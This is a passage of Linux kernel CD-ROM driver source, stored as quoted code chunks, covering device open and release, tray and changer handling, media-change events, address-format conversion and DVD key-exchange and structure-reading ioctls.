(CDROM_CAN(CDC_CLOSE_TRAY) &&\n\t\t\t cdi->options & CDO_AUTO_CLOSE) {\n\t\t\t\tcd_dbg(CD_OPEN, \"trying to close the tray\\n\");\n\t\t\t\tret=cdo->tray_move(cdi,0);\n\t\t\t\tif (ret) {\n\t\t\t\t\tcd_dbg(CD_OPEN, \"bummer. tried to close the tray but failed.\\n\");\n\t\t\t\t\t/* Ignore the error from the low\n\t\t\t\t\tlevel driver. We don't care why it\n\t\t\t\t\tcouldn't close the tray. We only care \n\t\t\t\t\tthat there is no disc in the drive, \n\t\t\t\t\tsince that is the _REAL_ problem here.*/\n\t\t\t\t\tret=-ENOMEDIUM;\n\t\t\t\t\tgoto clean_up_and_return;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. this drive can't close the tray.\\n\");\n\t\t\t\tret=-ENOMEDIUM;\n\t\t\t\tgoto clean_up_and_return;\n\t\t\t}\n\t\t\t/* Ok, the door should be closed now.. Check again */\n\t\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\t\tif ((ret == CDS_NO_DISC) || (ret==CDS_TRAY_OPEN)) {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. the tray is still not closed.\\n\");\n\t\t\t\tcd_dbg(CD_OPEN, \"tray might not contain a medium\\n\");\n\t\t\t\tret=-ENOMEDIUM;\n\t\t\t\tgoto clean_up_and_return;\n\t\t\t}\n\t\t\tcd_dbg(CD_OPEN, \"the tray is now closed\\n\");\n\t\t}\n\t\t/* the door should be closed now, check for the disc */\n\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\tif (ret!=CDS_DISC_OK) {\n\t\t\tret = -ENOMEDIUM;\n\t\t\tgoto clean_up_and_return;\n\t\t}\n\t}\n\tcdrom_count_tracks(cdi, &tracks);\n\tif (tracks.error == CDS_NO_DISC) {\n\t\tcd_dbg(CD_OPEN, \"bummer. no disc.\\n\");\n\t\tret=-ENOMEDIUM;\n\t\tgoto clean_up_and_return;\n\t}\n\t/* CD-Players which don't use O_NONBLOCK, workman\n\t * for example, need bit CDO_CHECK_TYPE cleared! */\n\tif (tracks.data==0) {\n\t\tif (cdi->options & CDO_CHECK_TYPE) {\n\t\t /* give people a warning shot, now that CDO_CHECK_TYPE\n\t\t is the default case! */\n\t\t cd_dbg(CD_OPEN, \"bummer. wrong media type.\\n\");\n\t\t cd_dbg(CD_WARNING, \"pid %d must open device O_NONBLOCK!\\n\",\n\t\t\t (unsigned int)task_pid_nr(current));\n\t\t ret=-EMEDIUMTYPE;\n\t\t goto clean_up_and_return;\n\t\t}\n\t\telse {\n\t\t cd_dbg(CD_OPEN, \"wrong media type, but CDO_CHECK_TYPE not set\\n\");\n\t\t}\n\t}", "\tcd_dbg(CD_OPEN, \"all seems well, opening the devicen\");", "\t/* all seems well, we can open the device */\n\tret = cdo->open(cdi, 0); /* open for data */\n\tcd_dbg(CD_OPEN, \"opening the device gave me %d\\n\", ret);\n\t/* After all this careful checking, we shouldn't have problems\n\t opening the device, but we don't want the device locked if \n\t this somehow fails... */\n\tif (ret) {\n\t\tcd_dbg(CD_OPEN, \"open device failed\\n\");\n\t\tgoto clean_up_and_return;\n\t}\n\tif (CDROM_CAN(CDC_LOCK) && (cdi->options & CDO_LOCK)) {\n\t\t\tcdo->lock_door(cdi, 1);\n\t\t\tcd_dbg(CD_OPEN, \"door locked\\n\");\n\t}\n\tcd_dbg(CD_OPEN, \"device opened successfully\\n\");\n\treturn ret;", "\t/* Something failed. Try to unlock the drive, because some drivers\n\t(notably ide-cd) lock the drive after every command. This produced\n\ta nasty bug where after mount failed, the drive would remain locked! \n\tThis ensures that the drive gets unlocked after a mount fails. This \n\tis a goto to avoid bloating the driver with redundant code. */ \nclean_up_and_return:\n\tcd_dbg(CD_OPEN, \"open failed\\n\");\n\tif (CDROM_CAN(CDC_LOCK) && cdi->options & CDO_LOCK) {\n\t\t\tcdo->lock_door(cdi, 0);\n\t\t\tcd_dbg(CD_OPEN, \"door unlocked\\n\");\n\t}\n\treturn ret;\n}", "/* We use the open-option O_NONBLOCK to indicate that the\n * purpose of opening is only for subsequent ioctl() calls; no device\n * integrity checks are performed.\n *\n * We hope that all cd-player programs will adopt this convention. It\n * is in their own interest: device control becomes a lot easier\n * this way.\n */\nint cdrom_open(struct cdrom_device_info *cdi, struct block_device *bdev,\n\t fmode_t mode)\n{\n\tint ret;", "\tcd_dbg(CD_OPEN, \"entering cdrom_open\\n\");", "\t/* if this was a O_NONBLOCK open and we should honor the flags,\n\t * do a quick open without drive/disc integrity checks. */\n\tcdi->use_count++;\n\tif ((mode & FMODE_NDELAY) && (cdi->options & CDO_USE_FFLAGS)) {\n\t\tret = cdi->ops->open(cdi, 1);\n\t} else {\n\t\tret = open_for_data(cdi);\n\t\tif (ret)\n\t\t\tgoto err;\n\t\tcdrom_mmc3_profile(cdi);\n\t\tif (mode & FMODE_WRITE) {\n\t\t\tret = -EROFS;\n\t\t\tif (cdrom_open_write(cdi))\n\t\t\t\tgoto err_release;\n\t\t\tif (!CDROM_CAN(CDC_RAM))\n\t\t\t\tgoto err_release;\n\t\t\tret = 0;\n\t\t\tcdi->media_written = 0;\n\t\t}\n\t}", "\tif (ret)\n\t\tgoto err;", "\tcd_dbg(CD_OPEN, \"Use count for \\\"/dev/%s\\\" now %d\\n\",\n\t cdi->name, cdi->use_count);\n\treturn 0;\nerr_release:\n\tif (CDROM_CAN(CDC_LOCK) && cdi->options & CDO_LOCK) {\n\t\tcdi->ops->lock_door(cdi, 0);\n\t\tcd_dbg(CD_OPEN, \"door unlocked\\n\");\n\t}\n\tcdi->ops->release(cdi);\nerr:\n\tcdi->use_count--;\n\treturn ret;\n}", "/* This code is similar to that in open_for_data. The routine is called\n whenever an audio play operation is requested.\n*/\nstatic int check_for_audio_disc(struct cdrom_device_info *cdi,\n\t\t\t\tconst struct cdrom_device_ops *cdo)\n{\n int ret;\n\ttracktype tracks;\n\tcd_dbg(CD_OPEN, \"entering check_for_audio_disc\\n\");\n\tif (!(cdi->options & CDO_CHECK_TYPE))\n\t\treturn 0;\n\tif (cdo->drive_status != NULL) {\n\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\tcd_dbg(CD_OPEN, \"drive_status=%d\\n\", ret);\n\t\tif (ret == CDS_TRAY_OPEN) {\n\t\t\tcd_dbg(CD_OPEN, \"the tray is open...\\n\");\n\t\t\t/* can/may i close it? */\n\t\t\tif (CDROM_CAN(CDC_CLOSE_TRAY) &&\n\t\t\t cdi->options & CDO_AUTO_CLOSE) {\n\t\t\t\tcd_dbg(CD_OPEN, \"trying to close the tray\\n\");\n\t\t\t\tret=cdo->tray_move(cdi,0);\n\t\t\t\tif (ret) {\n\t\t\t\t\tcd_dbg(CD_OPEN, \"bummer. tried to close tray but failed.\\n\");\n\t\t\t\t\t/* Ignore the error from the low\n\t\t\t\t\tlevel driver. We don't care why it\n\t\t\t\t\tcouldn't close the tray. We only care \n\t\t\t\t\tthat there is no disc in the drive, \n\t\t\t\t\tsince that is the _REAL_ problem here.*/\n\t\t\t\t\treturn -ENOMEDIUM;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. this driver can't close the tray.\\n\");\n\t\t\t\treturn -ENOMEDIUM;\n\t\t\t}\n\t\t\t/* Ok, the door should be closed now.. Check again */\n\t\t\tret = cdo->drive_status(cdi, CDSL_CURRENT);\n\t\t\tif ((ret == CDS_NO_DISC) || (ret==CDS_TRAY_OPEN)) {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. the tray is still not closed.\\n\");\n\t\t\t\treturn -ENOMEDIUM;\n\t\t\t}\t\n\t\t\tif (ret!=CDS_DISC_OK) {\n\t\t\t\tcd_dbg(CD_OPEN, \"bummer. disc isn't ready.\\n\");\n\t\t\t\treturn -EIO;\n\t\t\t}\t\n\t\t\tcd_dbg(CD_OPEN, \"the tray is now closed\\n\");\n\t\t}\t\n\t}\n\tcdrom_count_tracks(cdi, &tracks);\n\tif (tracks.error) \n\t\treturn(tracks.error);", "\tif (tracks.audio==0)\n\t\treturn -EMEDIUMTYPE;", "\treturn 0;\n}", "void cdrom_release(struct cdrom_device_info *cdi, fmode_t mode)\n{\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint opened_for_data;", "\tcd_dbg(CD_CLOSE, \"entering cdrom_release\\n\");", "\tif (cdi->use_count > 0)\n\t\tcdi->use_count--;", "\tif (cdi->use_count == 0) {\n\t\tcd_dbg(CD_CLOSE, \"Use count for \\\"/dev/%s\\\" now zero\\n\",\n\t\t cdi->name);\n\t\tcdrom_dvd_rw_close_write(cdi);", "\t\tif ((cdo->capability & CDC_LOCK) && !cdi->keeplocked) {\n\t\t\tcd_dbg(CD_CLOSE, \"Unlocking door!\\n\");\n\t\t\tcdo->lock_door(cdi, 0);\n\t\t}\n\t}", "\topened_for_data = !(cdi->options & CDO_USE_FFLAGS) ||\n\t\t!(mode & FMODE_NDELAY);", "\t/*\n\t * flush cache on last write release\n\t */\n\tif (CDROM_CAN(CDC_RAM) && !cdi->use_count && cdi->for_data)\n\t\tcdrom_close_write(cdi);", "\tcdo->release(cdi);\n\tif (cdi->use_count == 0) { /* last process that closes dev*/\n\t\tif (opened_for_data &&\n\t\t cdi->options & CDO_AUTO_EJECT && CDROM_CAN(CDC_OPEN_TRAY))\n\t\t\tcdo->tray_move(cdi, 1);\n\t}\n}", "static int cdrom_read_mech_status(struct cdrom_device_info *cdi, \n\t\t\t\t struct cdrom_changer_info *buf)\n{\n\tstruct packet_command cgc;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint length;", "\t/*\n\t * Sanyo changer isn't spec compliant (doesn't use regular change\n\t * LOAD_UNLOAD command, and it doesn't implement the mech status\n\t * command below\n\t */\n\tif (cdi->sanyo_slot) {\n\t\tbuf->hdr.nslots = 3;\n\t\tbuf->hdr.curslot = cdi->sanyo_slot == 3 ? 0 : cdi->sanyo_slot;\n\t\tfor (length = 0; length < 3; length++) {\n\t\t\tbuf->slots[length].disc_present = 1;\n\t\t\tbuf->slots[length].change = 0;\n\t\t}\n\t\treturn 0;\n\t}", "\tlength = sizeof(struct cdrom_mechstat_header) +\n\t\t cdi->capacity * sizeof(struct cdrom_slot);", "\tinit_cdrom_command(&cgc, buf, length, CGC_DATA_READ);\n\tcgc.cmd[0] = GPCMD_MECHANISM_STATUS;\n\tcgc.cmd[8] = (length >> 8) & 0xff;\n\tcgc.cmd[9] = length & 0xff;\n\treturn cdo->generic_packet(cdi, &cgc);\n}", "static int cdrom_slot_status(struct cdrom_device_info *cdi, int slot)\n{\n\tstruct cdrom_changer_info *info;\n\tint ret;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_slot_status()\\n\");\n\tif (cdi->sanyo_slot)\n\t\treturn CDS_NO_INFO;\n\t\n\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tif ((ret = cdrom_read_mech_status(cdi, info)))\n\t\tgoto out_free;", "\tif (info->slots[slot].disc_present)\n\t\tret = CDS_DISC_OK;\n\telse\n\t\tret = CDS_NO_DISC;", "out_free:\n\tkfree(info);\n\treturn ret;\n}", "/* Return the number of slots for an ATAPI/SCSI cdrom, \n * return 1 if not a changer. \n */\nint cdrom_number_of_slots(struct cdrom_device_info *cdi) \n{\n\tint status;\n\tint nslots = 1;\n\tstruct cdrom_changer_info *info;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_number_of_slots()\\n\");\n\t/* cdrom_read_mech_status requires a valid value for capacity: */\n\tcdi->capacity = 0; ", "\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tif ((status = cdrom_read_mech_status(cdi, info)) == 0)\n\t\tnslots = info->hdr.nslots;", "\tkfree(info);\n\treturn nslots;\n}", "\n/* If SLOT < 0, unload the current slot. Otherwise, try to load SLOT. */\nstatic int cdrom_load_unload(struct cdrom_device_info *cdi, int slot) \n{\n\tstruct packet_command cgc;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_load_unload()\\n\");\n\tif (cdi->sanyo_slot && slot < 0)\n\t\treturn 0;", "\tinit_cdrom_command(&cgc, NULL, 0, CGC_DATA_NONE);\n\tcgc.cmd[0] = GPCMD_LOAD_UNLOAD;\n\tcgc.cmd[4] = 2 + (slot >= 0);\n\tcgc.cmd[8] = slot;\n\tcgc.timeout = 60 * HZ;", "\t/* The Sanyo 3 CD changer uses byte 7 of the \n\tGPCMD_TEST_UNIT_READY to command to switch CDs instead of\n\tusing the GPCMD_LOAD_UNLOAD opcode. */\n\tif (cdi->sanyo_slot && -1 < slot) {\n\t\tcgc.cmd[0] = GPCMD_TEST_UNIT_READY;\n\t\tcgc.cmd[7] = slot;\n\t\tcgc.cmd[4] = cgc.cmd[8] = 0;\n\t\tcdi->sanyo_slot = slot ? slot : 3;\n\t}", "\treturn cdi->ops->generic_packet(cdi, &cgc);\n}", "static int cdrom_select_disc(struct cdrom_device_info *cdi, int slot)\n{\n\tstruct cdrom_changer_info *info;\n\tint curslot;\n\tint ret;", "\tcd_dbg(CD_CHANGER, \"entering cdrom_select_disc()\\n\");\n\tif (!CDROM_CAN(CDC_SELECT_DISC))\n\t\treturn -EDRIVE_CANT_DO_THIS;", "\tif (cdi->ops->check_events)\n\t\tcdi->ops->check_events(cdi, 0, slot);\n\telse\n\t\tcdi->ops->media_changed(cdi, slot);", "\tif (slot == CDSL_NONE) {\n\t\t/* set media changed bits, on both queues */\n\t\tcdi->mc_flags = 0x3;\n\t\treturn cdrom_load_unload(cdi, -1);\n\t}", "\tinfo = kmalloc(sizeof(*info), GFP_KERNEL);\n\tif (!info)\n\t\treturn -ENOMEM;", "\tif ((ret = cdrom_read_mech_status(cdi, info))) {\n\t\tkfree(info);\n\t\treturn ret;\n\t}", "\tcurslot = info->hdr.curslot;\n\tkfree(info);", "\tif (cdi->use_count > 1 || cdi->keeplocked) {\n\t\tif (slot == CDSL_CURRENT) {\n\t \t\treturn curslot;\n\t\t} else {\n\t\t\treturn -EBUSY;\n\t\t}\n\t}", "\t/* Specifying CDSL_CURRENT will attempt to load the currnet slot,\n\twhich is useful if it had been previously unloaded.\n\tWhether it can or not, it returns the current slot. \n\tSimilarly, if slot happens to be the current one, we still\n\ttry and load it. */\n\tif (slot == CDSL_CURRENT)\n\t\tslot = curslot;", "\t/* set media changed bits on both queues */\n\tcdi->mc_flags = 0x3;\n\tif ((ret = cdrom_load_unload(cdi, slot)))\n\t\treturn ret;", "\treturn slot;\n}", "/*\n * As cdrom implements an extra ioctl consumer for media changed\n * event, it needs to buffer ->check_events() output, such that event\n * is not lost for both the usual VFS and ioctl paths.\n * cdi->{vfs|ioctl}_events are used to buffer pending events for each\n * path.\n *\n * XXX: Locking is non-existent. cdi->ops->check_events() can be\n * called in parallel and buffering fields are accessed without any\n * exclusion. The original media_changed code had the same problem.\n * It might be better to simply deprecate CDROM_MEDIA_CHANGED ioctl\n * and remove this cruft altogether. It doesn't have much usefulness\n * at this point.\n */\nstatic void cdrom_update_events(struct cdrom_device_info *cdi,\n\t\t\t\tunsigned int clearing)\n{\n\tunsigned int events;", "\tevents = cdi->ops->check_events(cdi, clearing, CDSL_CURRENT);\n\tcdi->vfs_events |= events;\n\tcdi->ioctl_events |= events;\n}", "unsigned int cdrom_check_events(struct cdrom_device_info *cdi,\n\t\t\t\tunsigned int clearing)\n{\n\tunsigned int events;", "\tcdrom_update_events(cdi, clearing);\n\tevents = cdi->vfs_events;\n\tcdi->vfs_events = 0;\n\treturn events;\n}\nEXPORT_SYMBOL(cdrom_check_events);", "/* We want to make media_changed accessible to the user through an\n * ioctl. The main problem now is that we must double-buffer the\n * low-level implementation, to assure that the VFS and the user both\n * see a medium change once.\n */", "static\nint media_changed(struct cdrom_device_info *cdi, int queue)\n{\n\tunsigned int mask = (1 << (queue & 1));\n\tint ret = !!(cdi->mc_flags & mask);\n\tbool changed;", "\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn ret;", "\t/* changed since last call? */\n\tif (cdi->ops->check_events) {\n\t\tBUG_ON(!queue);\t/* shouldn't be called from VFS path */\n\t\tcdrom_update_events(cdi, DISK_EVENT_MEDIA_CHANGE);\n\t\tchanged = cdi->ioctl_events & DISK_EVENT_MEDIA_CHANGE;\n\t\tcdi->ioctl_events = 0;\n\t} else\n\t\tchanged = cdi->ops->media_changed(cdi, CDSL_CURRENT);", "\tif (changed) {\n\t\tcdi->mc_flags = 0x3; /* set bit on both queues */\n\t\tret |= 1;\n\t\tcdi->media_written = 0;\n\t}", "\tcdi->mc_flags &= ~mask; /* clear bit */\n\treturn ret;\n}", "int cdrom_media_changed(struct cdrom_device_info *cdi)\n{\n\t/* This talks to the VFS, which doesn't like errors - just 1 or 0. \n\t * Returning \"0\" is always safe (media hasn't been changed). Do that \n\t * if the low-level cdrom driver dosn't support media changed. */ \n\tif (cdi == NULL || cdi->ops->media_changed == NULL)\n\t\treturn 0;\n\tif (!CDROM_CAN(CDC_MEDIA_CHANGED))\n\t\treturn 0;\n\treturn media_changed(cdi, 0);\n}", "/* Requests to the low-level drivers will /always/ be done in the\n following format convention:", " CDROM_LBA: all data-related requests.\n CDROM_MSF: all audio-related requests.", " However, a low-level implementation is allowed to refuse this\n request, and return information in its own favorite format.", " It doesn't make sense /at all/ to ask for a play_audio in LBA\n format, or ask for multi-session info in MSF format. However, for\n backward compatibility these format requests will be satisfied, but\n the requests to the low-level drivers will be sanitized in the more\n meaningful format indicated above.\n */", "static\nvoid sanitize_format(union cdrom_addr *addr,\n\t\t u_char * curr, u_char requested)\n{\n\tif (*curr == requested)\n\t\treturn; /* nothing to be done! */\n\tif (requested == CDROM_LBA) {\n\t\taddr->lba = (int) addr->msf.frame +\n\t\t\t75 * (addr->msf.second - 2 + 60 * addr->msf.minute);\n\t} else { /* CDROM_MSF */\n\t\tint lba = addr->lba;\n\t\taddr->msf.frame = lba % 75;\n\t\tlba /= 75;\n\t\tlba += 2;\n\t\taddr->msf.second = lba % 60;\n\t\taddr->msf.minute = lba / 60;\n\t}\n\t*curr = requested;\n}", "void init_cdrom_command(struct packet_command *cgc, void *buf, int len,\n\t\t\tint type)\n{\n\tmemset(cgc, 0, sizeof(struct packet_command));\n\tif (buf)\n\t\tmemset(buf, 0, len);\n\tcgc->buffer = (char *) buf;\n\tcgc->buflen = len;\n\tcgc->data_direction = type;\n\tcgc->timeout = CDROM_DEF_TIMEOUT;\n}", "/* DVD handling */", "#define copy_key(dest,src)\tmemcpy((dest), (src), sizeof(dvd_key))\n#define copy_chal(dest,src)\tmemcpy((dest), (src), sizeof(dvd_challenge))", "static void setup_report_key(struct packet_command *cgc, unsigned agid, unsigned type)\n{\n\tcgc->cmd[0] = GPCMD_REPORT_KEY;\n\tcgc->cmd[10] = type | (agid << 6);\n\tswitch (type) {\n\t\tcase 0: case 8: case 5: {\n\t\t\tcgc->buflen = 8;\n\t\t\tbreak;\n\t\t}\n\t\tcase 1: {\n\t\t\tcgc->buflen = 16;\n\t\t\tbreak;\n\t\t}\n\t\tcase 2: case 4: {\n\t\t\tcgc->buflen = 12;\n\t\t\tbreak;\n\t\t}\n\t}\n\tcgc->cmd[9] = cgc->buflen;\n\tcgc->data_direction = CGC_DATA_READ;\n}", "static void setup_send_key(struct packet_command *cgc, unsigned agid, unsigned type)\n{\n\tcgc->cmd[0] = GPCMD_SEND_KEY;\n\tcgc->cmd[10] = type | (agid << 6);\n\tswitch (type) {\n\t\tcase 1: {\n\t\t\tcgc->buflen = 16;\n\t\t\tbreak;\n\t\t}\n\t\tcase 3: {\n\t\t\tcgc->buflen = 12;\n\t\t\tbreak;\n\t\t}\n\t\tcase 6: {\n\t\t\tcgc->buflen = 8;\n\t\t\tbreak;\n\t\t}\n\t}\n\tcgc->cmd[9] = cgc->buflen;\n\tcgc->data_direction = CGC_DATA_WRITE;\n}", "static int dvd_do_auth(struct cdrom_device_info *cdi, dvd_authinfo *ai)\n{\n\tint ret;\n\tu_char buf[20];\n\tstruct packet_command cgc;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\trpc_state_t rpc_state;", "\tmemset(buf, 0, sizeof(buf));\n\tinit_cdrom_command(&cgc, buf, 0, CGC_DATA_READ);", "\tswitch (ai->type) {\n\t/* LU data send */\n\tcase DVD_LU_SEND_AGID:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_AGID\\n\");\n\t\tcgc.quiet = 1;\n\t\tsetup_report_key(&cgc, ai->lsa.agid, 0);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lsa.agid = buf[7] >> 6;\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\tcase DVD_LU_SEND_KEY1:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_KEY1\\n\");\n\t\tsetup_report_key(&cgc, ai->lsk.agid, 2);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tcopy_key(ai->lsk.key, &buf[4]);\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\tcase DVD_LU_SEND_CHALLENGE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_CHALLENGE\\n\");\n\t\tsetup_report_key(&cgc, ai->lsc.agid, 1);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tcopy_chal(ai->lsc.chal, &buf[4]);\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\t/* Post-auth key */\n\tcase DVD_LU_SEND_TITLE_KEY:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_TITLE_KEY\\n\");\n\t\tcgc.quiet = 1;\n\t\tsetup_report_key(&cgc, ai->lstk.agid, 4);\n\t\tcgc.cmd[5] = ai->lstk.lba;\n\t\tcgc.cmd[4] = ai->lstk.lba >> 8;\n\t\tcgc.cmd[3] = ai->lstk.lba >> 16;\n\t\tcgc.cmd[2] = ai->lstk.lba >> 24;", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lstk.cpm = (buf[4] >> 7) & 1;\n\t\tai->lstk.cp_sec = (buf[4] >> 6) & 1;\n\t\tai->lstk.cgms = (buf[4] >> 4) & 3;\n\t\tcopy_key(ai->lstk.title_key, &buf[5]);\n\t\t/* Returning data, let host change state */\n\t\tbreak;", "\tcase DVD_LU_SEND_ASF:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_ASF\\n\");\n\t\tsetup_report_key(&cgc, ai->lsasf.agid, 5);\n\t\t\n\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lsasf.asf = buf[7] & 1;\n\t\tbreak;", "\t/* LU data receive (LU changes state) */\n\tcase DVD_HOST_SEND_CHALLENGE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_HOST_SEND_CHALLENGE\\n\");\n\t\tsetup_send_key(&cgc, ai->hsc.agid, 1);\n\t\tbuf[1] = 0xe;\n\t\tcopy_chal(&buf[4], ai->hsc.chal);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->type = DVD_LU_SEND_KEY1;\n\t\tbreak;", "\tcase DVD_HOST_SEND_KEY2:\n\t\tcd_dbg(CD_DVD, \"entering DVD_HOST_SEND_KEY2\\n\");\n\t\tsetup_send_key(&cgc, ai->hsk.agid, 3);\n\t\tbuf[1] = 0xa;\n\t\tcopy_key(&buf[4], ai->hsk.key);", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc))) {\n\t\t\tai->type = DVD_AUTH_FAILURE;\n\t\t\treturn ret;\n\t\t}\n\t\tai->type = DVD_AUTH_ESTABLISHED;\n\t\tbreak;", "\t/* Misc */\n\tcase DVD_INVALIDATE_AGID:\n\t\tcgc.quiet = 1;\n\t\tcd_dbg(CD_DVD, \"entering DVD_INVALIDATE_AGID\\n\");\n\t\tsetup_report_key(&cgc, ai->lsa.agid, 0x3f);\n\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;\n\t\tbreak;", "\t/* Get region settings */\n\tcase DVD_LU_SEND_RPC_STATE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_LU_SEND_RPC_STATE\\n\");\n\t\tsetup_report_key(&cgc, 0, 8);\n\t\tmemset(&rpc_state, 0, sizeof(rpc_state_t));\n\t\tcgc.buffer = (char *) &rpc_state;", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;", "\t\tai->lrpcs.type = rpc_state.type_code;\n\t\tai->lrpcs.vra = rpc_state.vra;\n\t\tai->lrpcs.ucca = rpc_state.ucca;\n\t\tai->lrpcs.region_mask = rpc_state.region_mask;\n\t\tai->lrpcs.rpc_scheme = rpc_state.rpc_scheme;\n\t\tbreak;", "\t/* Set region settings */\n\tcase DVD_HOST_SEND_RPC_STATE:\n\t\tcd_dbg(CD_DVD, \"entering DVD_HOST_SEND_RPC_STATE\\n\");\n\t\tsetup_send_key(&cgc, 0, 6);\n\t\tbuf[1] = 6;\n\t\tbuf[4] = ai->hrpcs.pdrc;", "\t\tif ((ret = cdo->generic_packet(cdi, &cgc)))\n\t\t\treturn ret;\n\t\tbreak;", "\tdefault:\n\t\tcd_dbg(CD_WARNING, \"Invalid DVD key ioctl (%d)\\n\", ai->type);\n\t\treturn -ENOTTY;\n\t}", "\treturn 0;\n}", "static int dvd_read_physical(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tunsigned char buf[21], *base;\n\tstruct dvd_layer *layer;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;\n\tint ret, layer_num = s->physical.layer_num;", "\tif (layer_num >= DVD_LAYERS)\n\t\treturn -EINVAL;", "\tinit_cdrom_command(cgc, buf, sizeof(buf), CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[6] = layer_num;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[9] = cgc->buflen & 0xff;", "\t/*\n\t * refrain from reporting errors on non-existing layers (mainly)\n\t */\n\tcgc->quiet = 1;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\treturn ret;", "\tbase = &buf[4];\n\tlayer = &s->physical.layer[layer_num];", "\t/*\n\t * place the data... really ugly, but at least we won't have to\n\t * worry about endianess in userspace.\n\t */\n\tmemset(layer, 0, sizeof(*layer));\n\tlayer->book_version = base[0] & 0xf;\n\tlayer->book_type = base[0] >> 4;\n\tlayer->min_rate = base[1] & 0xf;\n\tlayer->disc_size = base[1] >> 4;\n\tlayer->layer_type = base[2] & 0xf;\n\tlayer->track_path = (base[2] >> 4) & 1;\n\tlayer->nlayers = (base[2] >> 5) & 3;\n\tlayer->track_density = base[3] & 0xf;\n\tlayer->linear_density = base[3] >> 4;\n\tlayer->start_sector = base[5] << 16 | base[6] << 8 | base[7];\n\tlayer->end_sector = base[9] << 16 | base[10] << 8 | base[11];\n\tlayer->end_sector_l0 = base[13] << 16 | base[14] << 8 | base[15];\n\tlayer->bca = base[16] >> 7;", "\treturn 0;\n}", "static int dvd_read_copyright(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tint ret;\n\tu_char buf[8];\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tinit_cdrom_command(cgc, buf, sizeof(buf), CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[6] = s->copyright.layer_num;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[8] = cgc->buflen >> 8;\n\tcgc->cmd[9] = cgc->buflen & 0xff;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\treturn ret;", "\ts->copyright.cpst = buf[4];\n\ts->copyright.rmi = buf[5];", "\treturn 0;\n}", "static int dvd_read_disckey(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\t\tstruct packet_command *cgc)\n{\n\tint ret, size;\n\tu_char *buf;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tsize = sizeof(s->disckey.value) + 4;", "\tbuf = kmalloc(size, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;", "\tinit_cdrom_command(cgc, buf, size, CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[8] = size >> 8;\n\tcgc->cmd[9] = size & 0xff;\n\tcgc->cmd[10] = s->disckey.agid << 6;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (!ret)\n\t\tmemcpy(s->disckey.value, &buf[4], sizeof(s->disckey.value));", "\tkfree(buf);\n\treturn ret;\n}", "static int dvd_read_bca(struct cdrom_device_info *cdi, dvd_struct *s,\n\t\t\tstruct packet_command *cgc)\n{\n\tint ret, size = 4 + 188;\n\tu_char *buf;\n\tconst struct cdrom_device_ops *cdo = cdi->ops;", "\tbuf = kmalloc(size, GFP_KERNEL);\n\tif (!buf)\n\t\treturn -ENOMEM;", "\tinit_cdrom_command(cgc, buf, size, CGC_DATA_READ);\n\tcgc->cmd[0] = GPCMD_READ_DVD_STRUCTURE;\n\tcgc->cmd[7] = s->type;\n\tcgc->cmd[9] = cgc->buflen & 0xff;", "\tret = cdo->generic_packet(cdi, cgc);\n\tif (ret)\n\t\tgoto out;", "\ts->bca.len = buf[0] << 8 | 